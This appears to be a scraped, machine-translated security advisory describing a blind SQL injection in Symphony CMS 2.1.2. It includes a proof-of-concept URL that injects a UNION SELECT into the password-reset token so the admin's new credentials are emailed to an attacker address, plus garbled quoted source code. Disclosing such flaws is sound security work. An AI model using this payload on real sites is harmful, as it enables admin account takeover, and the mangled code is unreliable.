Symphony CMS 2.1.2 blind injection defects and repair

Source: Internet
Author: User

Symphony is an open-source content management system. The SQL injection vulnerability in Symphony 2.1.2 may cause sensitive information leakage.

[+] Info:
~~~~~~~~~
Symphony CMS 2.1.2 Blind SQL Injection

[+] Poc:
~~~~~~~~~
The following example will reset the password of the admin user which was created during installation
(Id 1) and send an email to evil@email.com with the username and new password.
Http://www.bkjia.com/symphony/login? Action = resetpass & token =-1 + union + select + id, evil@email.com, username + from + tbl_authors + where + id + = 1 + -- +

We are aided by the following code:
Lib/toolkit/class. mysql. php: 251: if ($ this-> _ connection [tbl_prefix]! = Tbl _){
Lib/toolkit/class. mysql. php: 252: $ query = preg_replace (/tbl _ (S + ?) ([S.,] | $)/, $ this-> _ connection [tbl_prefix]. \ 1 \ 2, $ query );
Which turn our tbl_authors into the appropriate prefixed table name. This essential negates the use
Of custom prefix for tables.

 

Fix: Filter

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.